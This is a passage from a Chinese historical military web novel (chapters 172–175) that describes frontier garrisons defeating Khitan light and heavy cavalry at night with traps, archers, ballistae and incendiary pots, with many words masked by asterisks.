“杀!”数十人同时挺**杀。
**兵猝不及防,瞬间被刺倒一片。
尸体堆积在堡墙的缺口处,暂时堵住了后续攻势。
“骑兵队跟我来!”张富贵双眼通红,见堡外剩余**已不足两百,当即率领骑兵冲向缺口。
“弓箭手掩护!”林军瞬间领会张富贵的意图,大声嘶吼着,亲自拉弓搭箭,一箭射穿冲在最前的**喉咙。
城墙上数十名弓箭手同时放箭,形成密集箭幕,堡外**兵或被射**下,或慌忙后撤。
张富贵带队从缺口冲出,如潮水般杀向**残兵。
他一马当先,骑着神骏的宝马,拎着狼牙棒狠狠撞入**群中,双臂发力疯狂抡动兵器,所到之处血肉横飞,**非死即伤,势不可挡。
这些**兵本就已是**之末,面对堡墙上的箭雨与骑兵冲击的双重打击,根本无力抵挡!
队形瞬间被冲散,节节溃败。
可就在张富贵率队追杀**之际,远处突然传来更为密集的马蹄声,如惊雷般滚滚而来。
“将军,又有大队**骑兵来了!”林军看清远处黑黝黝的骑兵阵列,脸色剧变,声音带着颤抖。
“快,快撤回来!”
“该死!”张富贵无需提醒,也已发现那支快速逼近的**骑兵,瞬间明白**的险恶算计。
——先用前队消耗守军,攻破城防,再以人数优势强攻,最后精锐骑兵收尾,招招狠辣致命。
“**这是为了报复不惜一切代价!”张富贵脑海中闪过这个念头,随即面目狰狞地嘶吼。
“铁蛋儿,带队撤入堡内,老子断后!”
这一刻,他的眼神决绝,已然抱了必死之志。
然而,骑兵的速度远超想象。
张富贵的人马与**残兵纠缠中尚未彻底脱离,三百余名**铁骑便如狂风般已杀到近前!
“嗷嗷……”契丹兵们挥舞马刀,发出狼一般的嚎叫,眼神中满是嗜血的疯狂。
“杀!杀光他们!”
“踏平此地,鸡犬不留!”
最前方一名魁梧大汉满脸狰狞,咆哮声如雷。
此人体态魁梧如熊,手持开山斧,正是萧铁鹰帐下千夫长哈达尔,伏弗郁部的金刀勇士。
此次奉命而来,只为复仇——彻底踏平双涡堡。
“该死,集结!”张富贵见无法撤入堡,嘶声下令。
他麾下百余骑兵迅速靠拢集结,准备殊死搏杀!
就在这千钧一发之际,堡外再次响起隆隆马蹄声。
“杀!”随着齐声喊杀!
一股黑色洪流从山坡后方杀出,速度越来越快。如同锋利的尖刀般,斜插入**兵阵中。
来者正是周扬率领的援兵!
第172章 螳螂捕蝉,黄雀在后
“飞虎卫在此,**受死!”
“富贵兄弟休慌,奉秦知寨令,周某特来驰援!”周扬领队冲杀,低沉有力的声音响彻战场。
他早已抵达戍堡附近,却未轻举妄动,直到见**精锐骑兵杀奔张富贵,才果断率军出击,从侧翼发起冲锋,打了**一个措手不及。
螳螂捕蝉,黄雀在后!
周扬能成为亲卫营副统领,本事不小,一条长刀翻飞,挡路的**纷纷被砍翻,鲜血喷溅如雨。
身后,五百骑兵皆是飞虎卫精锐,亦是虎贲军中百里挑一的骁勇之士,冲入敌阵后迅速展开队形,如鸟翅膀般张开,撕裂**的防线。
“啊啊……”惨叫声此起彼伏。
一个个**被砍**下,摔在地上没了声息。
“援…援军来了!兄弟们杀啊!”
林军在堡墙上见状,嗓子都快喊哑了。
守军们士气大振,爆发出震天喊杀,纷纷鼓起余勇。
箭雨、滚木与礌石再次密集落下,凡是靠近堡墙的**全被击溃,为外围骑兵提供远程掩护。
“哈哈哈,妈了个巴子,是你丫的叫得很大声是吧?”张富贵见到飞虎卫来援,发出震天的狂笑。
他恶狠狠地瞪着冲来的哈达尔,一甩缰绳,胯下卷毛乌骓人立而起,载着他径直杀了过去。
“铁蛋儿,给老子杀光他们!”张富贵的吼声在回荡。
“杀!杀!”堡外百余名骑兵爆发出震天欢呼!
他们不再执着于突围,反而奔腾冲杀。迅速一分为二。一队紧随张富贵冲杀,直扑**中军。
一队随队将张铁蛋,扑向附近的敌人。三三两两成组,分散**阵脚散乱的残余**兵。
**骑兵猝不及防,挡不住飞虎卫的迅猛冲击,死伤惨重。队伍被凿穿,分割为前后两段,军心瞬间大乱。
战机已然丧失,且己方面临被反包围的危险。哈达尔虽勇猛过人,但见势不妙,立刻下令吹响撤退的号角。
然而,此刻想走,已经为时已晚!
周扬的飞虎卫早已完成合围,与堡内冲出的守军形成夹击之势,将**兵分割成数段,逐个绞杀。
****得溃不成军,只能四散逃窜,却始终冲不出包围圈。
另一边,张富贵带着人马死死堵住哈达尔的去路。
一场惨烈对决瞬间爆发。
哈达尔骁勇善战,手中战斧舞得虎虎生风,接连劈杀数名冲上前的守军。
张富贵更为勇猛无畏,狼牙棒挥出,接连敲碎几个**的脑袋,鲜血与脑浆溅满了马前。
两人怒目而视,互相叫骂着。两马轰然撞在一起,兵器相交间,迸发出刺耳的金属鸣响。
哈达尔大斧势大力沉,每一击都有开山裂石之威。
张富贵却毫无畏惧,与他硬碰硬,一条狼牙棒如同杀猪刀般灵巧,使出祖传刀法改良的棒法。
不讲招式章法,只攻要害,搂头打脸,每一棒都带着破风之声,渐渐逼得哈达尔连连后退。
“尔等草原蛮子,反复无常,乃是世间上的渣滓……”张富贵更是骂声如雷,来扰乱对方心神。
激战中,张富贵找准时机,狼牙棒巧妙避开战斧锋芒,狠狠砸在哈达尔左肩上。只听“咔嚓”一声脆响,哈达尔肩骨碎裂,惨叫着从马背上跌落。
“给老子死!”张富贵满脸凶厉,拍马紧跟上,一棒子重重砸中他的脑袋,咔嚓一声,哈达尔铁盔胳肢变形,脑浆迸裂,当场气绝。
失去主将的**骑兵彻底崩溃,或死或降。以往常用此计来迷惑敌军,此次却不再奏效。
守军与援军下手毫不留情。
最终,仅有寥寥数人侥幸突破缝隙,狼狈逃窜。
大队人马分两路散开,直奔堡前门清缴残敌。他们转身就跑,装备防滑马蹄铁的骑兵追杀。
当最后一名**倒在血泊中时,冰面上被染红了。
双涡堡的烽火依旧燃烧。
烽火照亮了满地狼藉,也照亮了浴血奋战的守军与援军,每个人脸上都带着疲惫,眼神狠辣。
这场恶战以**惨败而告终。双涡堡内外一片狼藉,硝烟弥漫,尸横遍野,空气中弥漫着浓重的血腥味。
“秦将军果然料事如神。”周扬望着硝烟弥漫的战场,由衷感慨道,“若不是提前布局驰援,今夜双涡堡恐怕危矣。”
“**,**来得够凶,不能就这么算了。”张富贵心有余悸地骂着,随后命王铁山和林军留守戍堡、清理战场,自己则率领骑兵追杀逃敌。
“将军说过,最好的防御就是进攻。这批**装备精良,显然是精锐部队,必定设有营地。”
“咱们过河追杀,端了他们的老巢!”
“此言极是!”周扬眼前一亮,立刻便做出安排。
他让部将王平带两百精锐留下,协助防守双涡堡,自己则率领三百骑兵紧随张富贵而去。
“快,有用的物资都收起来,破损的兵器也一并带回修补!”
“把堡墙缺口补好,动作快点,防止**去而复返!”
王铁山大声下令,想到这次**来势汹汹,不由望向铁血军寨的方向,脸上掠过一丝担忧。
“不知道主寨此刻怎样了?是否也遭遇了敌袭?”
就在双涡
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堡军民忙于清理战场、加固防御之时,十余里外的铁血军寨,也迎来了不速之客。
与双涡堡不同,铁血军寨的防备要森严得多。
尤其是秦猛命人沿河岸抢筑的那一道绵延十余里、大半人高的雪墙,宛如一条蜿蜒的白色巨龙,成了阻挡骑兵越境的第一道坚固屏障。
若非时间仓促,这本可与西面的芦苇堡、东面的双涡堡连成一片,构成一道更完整的防线。
按常理,边寨防卫远超戍堡,**不应选择防御最为严密的铁血军寨作为首要攻击目标。
然而,契丹酋帅萧铁鹰用兵狡诈,向来不按常理出牌,专挑险路行军、寻敌军弱点突袭。
此前深夜,万籁俱寂,只有寒风呼啸而过,卷起地上的积雪。
燧堡瞭望手陈强裹了裹身上的毛皮衣,揉了揉被冻得发僵的眼睛,努力望向漆黑一片的河面。
忽然,他瞳孔一缩——被夜色笼罩的冰河尚,似乎有大量黑影正在移动,正悄然逼近雪墙!
“敌袭!**来了!”陈强一个激灵,扯个胸前的号角,用尽全身力气吹响了示警的号角!
呜——呜——呜——
苍凉急促的号角声瞬间刺破夜空,传遍整个军寨!
“嗷嗷嗷——!”河面上来袭的**见行踪暴露,索性不再隐藏,发出野兽般的嚎叫,纷纷策动战马,在光滑的冰面上开始加速,跑得不算快,但依旧如同决堤的洪水般扑向燧堡。
令人诧异的是,烽燧堡并未点燃烽火,而寨前营地的篝火冲天,人声嘈杂,似乎庆典一直持续到深夜,对即将到来的危险浑然未觉。
但这只是精心布置的表象!
早已枕戈待旦的秦大壮,在听到燧堡的号角的第一时间,便如猛虎般跃起身,低吼道:“全军都有,按预定计划,进入阻击位置!快!”
早已准备多时的士卒们迅速而无声地行动起来。
他们从营后门冲出,依托掩体成了严密防线。**兵隐于墙后。盾牌手在前,**手张弓搭箭。
一切都井然有序,没有半分慌乱。
“猛哥儿真是神机妙算,就知道这帮狼崽子会来偷营!”秦大壮这个平日里看似憨厚的汉子,此刻眼中却闪烁着兴奋与冷酷交织的光芒。
他紧紧盯着那些在雪地反光中越来越清晰的骑兵轮廓,呼吸粗重了几分,手中长刀握得更紧。
得益于前两日发动寨子内大量劳力连夜不休的修缮,雪墙脚下的防御工事已被大大加强。
那些被加深的陷阱里重新钉满了削尖的木桩和竹签,盖上稻草积雪,就等着猎物主动上门。
第173章 重骑兵与**
今夜来袭的这支**骑兵,不知出于何种目的,竟然对雪墙外这片区域新设的陷阱一无所知。
秦大壮站在后方坡地上看得真切,满脸疑惑。按理来说,逃窜的溃兵应该告知雪墙无法飞跃。
然而,眼下情况与预想中的不同。
契丹骑兵嗷嗷叫着,挥舞弯刀,恶狠狠冲来。他们凭借着以往的作战经验,以为突破这道看似单薄的雪墙轻而易举,竟毫无防备地径直冲来,企图踩踏缓坡,凭借马速一跃而过。
冲在最前面的数十骑,马蹄猛地踏上了被浮雪伪装的缓坡陷阱!
“唏律律——!”
“啊——!”
战马凄厉的悲鸣与**兵惊恐的惨叫几乎同时响起,瞬间刺破了寒冷的黑夜!
高速冲锋的骑兵根本收势不住,接二连三地栽进陷阱坑中,被底下锋利的木桩竹签刺穿身体,人仰马翻,鲜血顷刻间染红了洁白的雪地。
后续的骑兵收不住势头,又撞上前面的倒毙人马,阵型顿时大乱,再也无法形成有效冲击。
“哈哈哈!这不是找死吗?”
“飞…飞蛾扑火!给俺射!狠狠地射!”
秦大壮见状,乐得咧开了大嘴,但手下却毫不含糊,果断取来弓箭开射,下令反击:“放箭!”
数百张弓齐射,顿时,密集的箭矢如同飞蝗般越过雪墙,精准地落入混乱的**骑兵群中。
失去了速度和阵型的骑兵,在训练有素的弓箭手面前成了活靶子,不断有人中箭**,惨叫声此起彼伏,比方才陷阱触发时更加凄厉。
就算有冲过来的,等待他们的是枪阵。雪墙内外,变成了一片死亡地带,尸体与鲜血堆积如山。
“撤,快撤!”**百夫长大吼,聚拢部众撤退。
“哼,狗**哪里跑?”
秦大壮见到**损失过半,想要逃窜岂能如愿?
“一队,二队,踏上掩体!”
两百来个军卒迅速冲上雪墙后方半人高的掩体,半个身子探出雪墙,从抛射变成了精准射击。
嗖嗖嗖,破空声不断。
刚撤出弓箭射程的**骑兵惨叫着,又倒下一片。
就在秦大壮准备再接再厉,剿灭这些残兵败将时,脚下地面突然传来了不同寻常的震动。
隆隆隆……
这震动由远及近,沉闷而有力,仿佛有巨兽在黑暗中踏地而来。
与刚才在冰面上冲锋的骑兵不同,这声音更整齐,更沉重,带着一股令人心悸的压迫感,让雪墙上的守军都不由得握紧了手中的兵器。
只见黑夜之中,一股黑色的铁流猛地撕裂夜幕,径直朝着秦大壮防守的这段河岸汹涌扑来。
这支骑兵人数更多,约莫三百余人,装备明显更加精良。
骑士和战马都披着沉重的铁甲,冲锋起来势不可挡!
“铁林军?是契丹王庭的铁林军!”有见识的老兵失声惊呼,声音中带着一丝难以掩饰的恐惧。
秦大壮的脸色也瞬间变得凝重无比,他紧紧握住了手中的兵刃,对着身后的士卒怒吼道:
“稳住!都给老子稳住!”
“重骑兵算什么?我们专克骑兵!”
“**手准备火箭,瞄准了射他们的马!**兵上前,顶住阵线!绝不能让他们冲破雪墙!”
沉重的马蹄声如同擂响的战鼓,越来越近。那黑色的铁流无视了前方陷坑里同伴的惨状,正以一种碾压一切的姿态,直奔雪墙而来。
速度因冻土湿滑和重甲虽不算太快,但那密集如林的阵型,带给守军的心理压力是巨大的。
铁甲如林,这也是铁林军的由来!
“火箭,放!”秦大壮瞪圆了眼睛,嘶声下令。
“咻咻咻——!”
百多支拖着火尾的箭矢腾空而起,连同上百支普通箭矢,划过夜空,落入冲锋的铁林军阵中。
然而,大部分箭矢叮叮当当地被精良的铁甲弹开。即便是破甲重箭也无法穿透这种厚重铠甲。
只有少数射中了人或马匹非重甲覆盖的部位,或是恰好卡在了甲叶缝隙里,引起一些小范围的混乱和火苗。但对于整体冲锋势头阻碍有限。
“娘的,这龟壳真硬!”
秦大壮啐了一口,眼看敌人已经冲近到不足两百步,他甚至能看清对面骑士面甲下冰冷的目光。
“**兵!上前!抵住雪墙!”他声嘶力竭地喊着,自己也挺起一杆粗壮的长矛,矛尾死死抵在冻硬的地面上,矛尖斜斜指向墙外。
他身边的士兵们也都咬紧牙关,用肩膀顶住同伴的后背,组成了一道血肉枪林。
所有人都明白,一旦被这些铁疙瘩撞开雪墙,后果不堪设想。
一百步!九十步!八十步……
铁林军们开始发出低沉的吼声,也没有摘下弓箭的意思,而是挺起手中战斧重锤,准备借助马速,直接撞垮前方这道看似单薄的障碍。
就在这千钧一发之际,秦大壮脸上那掩饰不住的凝重,突然被一种兴奋、残忍的狞笑所取代。
“兄弟们!给贵客上热菜!点火!扔!”
命令一下,原本蹲伏在**兵身后的一批健卒猛地站起。
他们每人手中都抱着一个黑糊糊的粗制陶罐,罐口塞着的布条被引信点燃,正熊熊燃烧!
这群挑选出来的壮汉动作整齐划一,胳膊抡圆,嘴里发出吼声,用尽了全身力气,将点燃的陶罐朝着迅速冲来的铁甲洪流抛掷过去!
这距离太近了!
改良型**体积颇大,抛物线短而平!
“砰!咔嚓!轰——!”
陶罐砸在人马铁甲上、地面上,纷纷碎裂,
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窜起两丈来高的火焰。里面装盛的粘稠火油瞬间四溅开来,遇到明火轰然爆燃化作火海。
这一幕远比火箭可怕得多!
无数陶瓷碎片装在铁甲上,叮叮当当,无法造成伤害。
可那滚烫的火焰像活物一样,顺着铁甲的缝隙往里钻,粘在人身上、马背上疯狂燃烧着!
火油混合铝粉的火焰温度极高,铁甲在高温下迅速变得烫红,里面的骑士发出非人的惨嚎。
眨眼间,从杀戮机器变成了滚地哀嚎的火人!
战马的悲剧更甚!
动物对火焰的天生恐惧让它们彻底发了狂,再也不受控制,人立、蹦跳、疯狂地甩动,只想把背上着火的“东西”和自身的痛苦甩掉。
那些受惊的马匹拖着火人互相冲撞、践踏,撞倒周边的骑兵,严谨的冲锋阵型瞬间崩溃。
冻土之上顿时陷入一片地狱般的火海和混乱!
“哈哈哈!烧得好!”
“**手准备,戳死前面的**!”秦大壮看着眼前这意料之中的场景,放声大笑,之前的凝重一扫而空,身先士卒,紧握**等待冲击。
这正是秦大壮和手下反复推演,步兵队以对付骑兵为目的,**是对付这种重甲骑兵的杀招!
几乎在火海燃起的同时——
“呜——嗡——!”铁血军寨方向,一声穿透战场的雄浑号角冲天而起!
紧接着,在铁林军们被火海吞没、阵型大乱的当口,军寨前门轰然洞开!
秦猛一马当先,身披重甲,如同一道黑色闪电疾驰而出。
他身后,两百骑兵如同决堤洪流,人人拎着狼牙棒、钉头锤这种钝器,怒吼着杀出寨门。
秦猛冲向敌人,眼中却闪过疑惑。
兵法上,不是应该袭击前营来诱主寨救援么?然后在打得激烈的时候,敌方肯定来援军?
可为何还脱裤子放屁多此一举,让人去踩陷阱玩?
难道不知道寨子前方林子里有军营?
“儿郎们,建功立业就在今夜,一个不留!”
秦猛百思不得其解,却不妨碍他杀敌。选择的时机妙到毫巅,冲锋的路线更是狠辣刁钻。
他带队径直扑向铁林军因混乱而暴露出的侧翼软肋!
“噗嗤!”“咔嚓!”
秦猛抡动狼牙棒,专门挑重甲骑兵脑袋猛砸。金属嘎吱变形、凹陷,伴随惨叫,血浆横飞。
陷阵营的骑兵们如同虎入羊群,三三两两配合,一棍打不死,那就多来几下,趁着敌人最混乱、最脆弱的时刻,展开了无情的**。
此时契丹骑兵正因火攻而前后脱节、左右混乱,秦猛带队恰好将其冲锋阵型从中间狠狠截断!
战场形势瞬间逆转!原本气势汹汹的偷袭者,转眼间陷入了被内外夹击、分割围歼的绝境。
第174章 雄起的乌维
马蹄声如惊雷滚地,三十余骑重甲骑兵裹挟着烟尘冲来,面甲下的冷冽的目光变成了慌乱。他们是冲得快,没有被火海波及的骑兵。
秦大壮吼声震得喉头发紧,手中**往冻土上一拄。
“结阵!枪出连环!”
百余名**兵迅速靠拢成弧形,前排士兵半跪扎稳下盘,枪柄末端斜指地面,枪尖如林。
后排枪兵紧随其后,丈八**自前排缝隙探出,数十条银亮枪刃在阵前织成密不透风的屏障。
为首的骑兵见了硬着头皮,嘶吼着挺枪冲锋。铁枪横扫而出,先撞上子阵眼秦大壮的枪杆。
只听“铛”的一声脆响,秦大壮双臂发麻,却死死架住枪身,后排两名士兵立刻挺**入马腹。
战马吃痛人立而起,骑兵尚未反应,左右两侧已各有三条**递来,枪尖精准挑开他的护腰甲胄。
紧接着,秦大壮纵身向前,**直捣其胸口。
哐啷一声巨响,那骑兵闷哼一声,被大力掀**下,转瞬就被涌上来的**戳得浑身是血。
与此同时,呐喊声此起彼伏!
最前面七八个骑兵撞上铁枪林,被多个**兵配合,挡住冲势,跳**下,尽是这种下场。
后续骑兵见状,试图绕开正面枪阵,却架不住枪阵变动,被秦大壮早安排好的侧队截住。
两名**兵瞅准时机,一人用钩镰枪勾住马腿,一人挺**向骑兵咽喉;另有几条**如毒蛇吐信,或戳马眼,或挑马镫,将骑兵缠住。
马嘶声、金铁交鸣声响成一片。
秦大壮抹了把脸上的血污,见又一名重甲骑兵被三条长钩枪合力拽下马鞍,当即振臂高呼。
“别给他们喘息!枪阵前移!”
**兵们步步紧逼,数十条枪刃此起彼伏,将重甲骑兵的冲击势头彻底绞碎在这片枪林之中。
……
“挡我者死!”秦猛一杆狼牙棒舞动如蛟龙出海,所过之处人仰马翻,竟无一人能挡其锋芒。
他目标明确,目光死死锁定混乱的敌军阵中,那个仍在呼喝着想要重整队伍的**将领。
秦猛一夹马腹,胯下乌骓马嘶鸣着猛然加速,载着他直奔敌将而去。
沿途两名**骑兵挥链枷、挺**扑来,秦猛不闪不避,狼牙棒横扫,当场打碎一人头颅。
随即,他侧身后仰避开**,反手扣住枪杆发力一拽,将那骑兵硬生生从马背上扯下,狼牙棒顺势上扬,
“嘭”的一声,对方颅骨碎裂,尸体被随手丢在雪地。
眨眼间,秦猛杀至敌将近前,那**将领也已察觉,叽里呱啦怒骂着,舞动狼牙棒拍马迎上。
两马相交,两根狼牙棒轰然相撞。
“哐啷”巨响中火花四溅。契丹人本就蛮力过人,可秦猛不仅一身怪力,更兼技巧精妙。
他瞅准对方狼牙棒被震起,身体后仰的空档,迅速抽出马鞍上的破锋刀,一刀劈在敌将脖颈!
鲜血喷涌而出,敌将惨叫着想要挥棒反击,秦猛速度更快,狼牙棒带着破空声直捣其面门。
“嘭”的一声,敌将脑浆迸裂,身体“扑通”一声摔**下。
主将一死,周边**骑兵顿时慌乱,或畏惧的看着秦猛,嘴里喊着“霍格当户”之类的胡语。
——显然这**的将领是个硬角色,却偏偏遇上了更狠的秦猛,最终落得个横尸当场的下场。
此时,**重甲骑兵早已被火焰与恐惧逼得跌**下,丧失了战斗力;如今领队**、群龙无首,剩余残兵更无法组织起有效抵抗。
“给我狠杀!”秦猛一棒砸死一人,吼声如雷。专挑那些呼喊着想要收拢队伍的敌兵下手。
——这些人定是什长、队长之流。
他如入无人之境,狼牙棒左劈右砸,这种打击兵器威力极大。被击中者要么坠马惨死,要么胸甲凹陷、头盔变形,无一例外都是非死即残。
另一边,己方**兵也已解决掉那二十余名重甲骑兵。
秦大壮见秦猛神兵天降、一击斩将,兴奋地挥舞拳头嘶吼:“弟兄们!将军来了!别让这些铁乌龟跑了!跟老子冲出去,收拾残局!”
“杀!”
守军士气大振,纷纷跃出雪墙,配合寨主带来的骑兵,对残存的**进行了毁灭性的打击。
然而,就在步骑合力绞杀残敌之际,脚下的地面再次传来震感,隆隆的马蹄声由远及近。
“呜呜——”急促的号角声从军寨内骤然响起,正是箭楼瞭望手发现了远处杀来的大批铁甲骑兵。
这波敌军数量远超先前,全是身披重甲的**铁林军。
行军中竟一分为二:一部分直扑秦猛所在的战场。
另一部分则直奔军寨前门——此时寨门吊桥正徐徐拉起。
“不要管,继续杀!”秦猛瞥了眼疾驰而来的铁骑,脸上浮现一抹冷笑,非但没有退避,反而挥棒更狠,继续收割着眼前的**性命。
他早料到不擅长攻坚的草原**会用这种战术?当年这小南河堡秦武就是增援燧堡吃了亏。
今夜,当年的仇此刻必报!
与此同时,军寨烽火熊熊点燃,燧堡紧跟着点燃。三枚红色号炮直冲云霄,向全军示警。
那队奔袭寨门的**重骑兵速度极快,转瞬便至。
带队契丹将领胯下战马神骏非凡,他一提缰绳,竟纵马跃上尚未完全拉起的吊桥之上
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。
这个魁梧大汉手中的大刀狠狠劈在吊桥铁链上。“哐啷”一声,火花四溅,铁链应声而断。
吊桥剧烈晃荡,向一边倾斜。
后续几名骑兵紧随其后,借助冲势纷纷跃上吊桥,仅剩的单条铁链,根本无法支撑吊桥重量。
“绷”得笔直后轰然断裂,刚拉起的吊桥重重砸在地面,尘土飞扬。
“杀!杀光所有人,鸡犬不留!”
带队的契丹将领大吼,面罩下的目光极其怨毒。他名叫阿鲁朵,是阿巴泰的胞弟。想到哥哥死得窝囊,他怒火冲天,恨极了这座军寨。
阿鲁朵率着两百多重骑兵直冲寨门,却丝毫未察觉寨墙上安静一片、前方的道路正逐渐收窄。
还未冲到寨门近前,寨内突然传来一声愤怒的咆哮,一个身高丈余的魁梧巨汉,身披厚重铁甲,扛着一根前端钉满胳膊粗铁钉的原木。
“杀!”他冲出寨门后,竟主动向铁甲骑兵冲来。每向前跑一步,地面都随之轻微颤抖,单凭一人之势,却杀出了千军万马的气势。
——此人正是山蛮巨汉乌维。
两三丈长、数百斤重的铁木在他手中虎虎生风,一棍便将那带队冲锋的阿鲁朵打飞出去,对方在空中狂喷鲜血,重重砸在身后骑兵身上。
不等后续骑兵反应,乌维双手抱原木猛地回旋。
“砰砰砰”之声不绝,五六个铁甲骑兵当场被扫飞。
胯下战马受惊后无法后退,只能裹挟着骑兵冲入寨内,而乌维麾下十多个突击队壮汉,人人笑开了花,趁机涌上前摁住受惊的战马。
并非乌维战力有限,而是前方地形愈发狭窄,仅容数骑并排冲锋。
前排骑兵被硬生生遏制,后排骑兵收势不及,瞬间拥挤成团,重骑兵机动性差,乱作一团。
“我打!我打!”乌维怒声咆哮,抱着铁木左甩右抡,一个又一个契丹骑兵被打得吐血倒飞。
运气好的,直接被原木上的尖钉扎成筛子毙命。
近来,这大块头被秦猛硬逼着进行体能训练增强耐力。一直没机会上阵,心里憋了口气。
如今穿上量身锻造的铁甲,正好将打不过秦猛的郁闷,全发泄在这些孱弱矮矬的**身上。
“呼哧——”铁木呼啸着横扫,前方一排铁甲骑兵尽数被打飞,撞得后方的同伴惨叫连连。
此等狭窄地形,乌维真正做到了一夫当关、万夫莫开,没有任何铁甲骑兵能靠近他三米内。
就更别提冲过他这一关,攻入寨内。
唯有那些受惊的战马,不受控制地冲入寨中,被人收拢。成了这场攻防战里最讽刺的存在。
但铁甲骑兵的噩梦,才刚刚开始。
第175章 铁林军的噩梦
乌维死守寨门的同时,军寨内的大队**手突然站起身,对着被拦在路口、拥挤成团的铁甲骑兵疯狂射箭。
普通箭矢虽难以穿透重甲,可如此贴脸的距离,破甲箭足以穿透面甲、铁甲缝隙等防御薄弱处。
箭如飞蝗般落入敌阵,惨叫声此起彼伏,不少骑兵跌**下,受惊的战马人立而起,疯狂蹦跳,又撞倒更多同伴,现场混乱不堪。
“真是瞎了眼的玩意,敢来偷寨!”
寨墙上,李山和刘铁柱骂骂咧咧,指挥着手下转动两架床**的绞盘,“嘎吱嘎吱”的声响中。
胳膊粗的**箭已对准敌兵最密集之处。
“放!”随着一声大喝,扣动悬刀,钩牙瞬间下沉。
“嗡——”
那一声不是从耳边响起,而是从地脉深处拱出来。木槽、铜牙、筋弦三物同时炸裂出低吼,声浪顺着**车底座灌进寨墙,随之微微震颤。
两道乌光交叉掠出,像黑月剪开黑夜。
前排的**重骑正勒马提速,铁甲面帘只来得及掀起一道缝,便看见那黑影已经到了眼前。
寨墙上军卒看得真切,两根**箭切入**群中。**箭把骑手拦腰撕成两截;后半截身子还骑在鞍上,前半截已飞在半空。血雾喷出三尺。
连续穿透多人,所过之处,骑兵人马俱碎,血肉飞溅,可**箭的势头不减,仍向前冲去。
箭杆撞地,石砾炸窝,贴着地皮犁出一道沟,把后面三骑连人带马掀翻,铁甲擦出火星,滚作一团。
两支箭终于深深钉进三十丈外的土坎,尾羽犹自“嗡嗡”颤鸣,像两只不肯停翅的玄鸟。
寨墙上的人这才感到脚底发麻,后背一阵发凉。
——这床**的威力太大了!
重甲骑兵在他面前简直犹如纸糊的般!
“别停,再来一箭。”李山,刘铁柱回过神来,兴奋地吼叫。多个军卒转动绞盘发出嘎吱声。
这可怕的声音让下方**兵越发慌乱,拨马欲逃。可是密密麻麻的箭雨从寨墙上覆盖而下。
磨盘大的雪球犹如冰雹似的,砸在**群中。
“啊啊……”惨叫声凄厉,一个又一个骑兵跌**下。草原王牌铁甲重骑在此刻如麦子般被收割。
这队**奔袭寨门的骑兵已陷入绝境,而另一队直扑秦猛的铁甲骑兵,同样没好到哪里去。
夜色如墨,劲风卷着血腥气掠过旷野。四百余骑铁甲重骑如黑色洪流,马蹄踏碎沉寂,直奔战场中央那片正被周军绞杀的同族残部。
为首的千夫长萧克,魁梧身躯在火光下宛如铁塔,脸上那道从眉骨划至下颌的疤痕狰狞可怖。
他并未如麾下骑兵般拉下面甲,一双狼目死死锁定战场中浴血的秦猛,目光里淬着怨毒与杀意。
“周狗!敢杀我契丹儿郎,今日定将你**万段!”萧克的汉语带着浓重的部族口音,却字字狠厉。
他是酋帅萧铁鹰心腹将领,统率部落铁林军。本以为这座新生军寨主力在双涡堡时兵力空虚,只需将剩余守军引出寨外便能轻松剿灭。
届时踏平军寨、鸡犬不留。
既能立威,又能夺下这处战略要地。
可谁料周军狡诈,手段层出不穷,先是陷阱折损了不少儿郎,如今又用诡异的**将同族精锐烧得哭嚎连连,己方损失已然过半。
此刻,秦猛正抡动狼牙棒,一棒砸爆一个迎面而来的契丹骑兵脑壳,粘稠的鲜血溅满战袍。
他听到身后急促的马蹄声渐近,非但没有慌乱,反而眼中闪过一丝厉色,边杀边高声嘶吼:“**!按计划行事,让火焰烧得更旺些!”
“得令!”**话音未落,早已备好的二十余名亲兵纷纷退出战团,望着冲来的铁甲骑兵。
他们迅速从马鞍袋中取出改良的**。火折子一吹,燃起的火星映亮他们坚毅的脸庞。
待萧克率领的铁甲重骑逼近至百步时,二十几只**同时划破夜空,如流星般坠向骑兵阵中。
“轰!轰!轰!”
剧烈的**声接连响起,几米高的火柱瞬间窜起。炙热的火浪席卷开,飞溅的火油遇火即燃。
转眼间,便在战场中央织成一片火海。
铁林军的高大战马受惊,人立而起,疯狂蹦跳着冲撞身旁的同伴。
骑兵们猝不及防,纷纷从马背上跌落,瞬间被火焰吞噬。凄厉的惨叫与战马的嘶鸣交织。
原本整齐的冲锋阵型瞬间乱作一团。
“该死的!又是这鬼东西!”萧克脸色铁青,他没想到周军竟还有如此多的**。
他抽出腰间弯刀,刀刃映着火光闪烁寒芒,高声嘶吼:“不要乱,都给我稳住!继续冲锋。
谁退一步,立斩不赦!”
在萧克的威逼下,残存的铁甲骑兵强压下心中的恐惧,发出愤怒的吼声,继续策马向前。
可就在此时,两侧林带中突然传来震耳欲聋的马蹄声。
——袁飞、徐强率领的两百飞虎卫,与李雄、常勇带领的两百多南河城寨骑兵,如两道利箭般冲杀而出!
“扔!”随着袁飞,常用一声令下,两队骑兵后排的士兵同时掷出**。数十只**在空中划出抛物线,精准落入契丹骑兵阵中。
**声再度响彻夜空,火光冲天而起,火海将整片战场照得如同白昼。吞没了大队骑兵,火人在阵中翻滚,毛发被点燃的火马四处狂奔。
一股烤肉椒臭味弥漫!
萧克苦心维持的阵型彻底溃散。
“杀!”袁飞与李雄身先士卒,率领骑兵发起冲锋。
队伍后排的弓箭手弯弓搭箭,密集的箭雨如乌云般覆盖而下,不少破甲箭矢穿透契丹骑兵的面甲与铠甲缝隙处,将他们射**下。
**爆燃的火焰虽来得迅猛,也退得飞快。
七八息左右,待火光渐弱。
袁飞与李雄已然率领骑兵撞入铁林军中。前排骑兵手持狼牙棒、流星锤等重型武器,借着战马冲锋的势头,狠狠砸向契丹骑兵的铠甲。
即便铁林军装备精良,也扛不住这般
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**般的攻势,一个个骑兵被打**下,或被**戳死当场。
“不要乱!跟我杀出去!”萧克沙哑着嗓子呼喊,挥舞弯刀斩杀身旁的周军骑兵,试图收拢溃散的队伍。
可经**洗礼与两股伏兵冲撞,冲散了队形。铁林军早已军心大乱,士兵们无心恋战,只顾着各自逃窜,哪里还能组织起有效的反抗。
“哈哈哈!**也配谈战术?”秦猛抹了一把脸上的血迹,拨转马头,高声大骂着聚拢队伍。
他率领麾下骑兵展开冲锋,与铁林军狭路相撞!
三股周军骑兵汇合一处,如铁钳般将残存的铁林军团团包围。
一旁,秦大壮率领的数百步兵也不甘示弱,他们按队列散开进行掩护,搭弓射箭,用**捅杀**的契丹骑兵,将战场化作一片修罗场。
契丹人寄予厚望的精锐“铁林军”,在秦猛层出不穷的防御手段与犀利反击下,正一步步走向覆灭。
然而,没人知晓,今夜注定不太平!
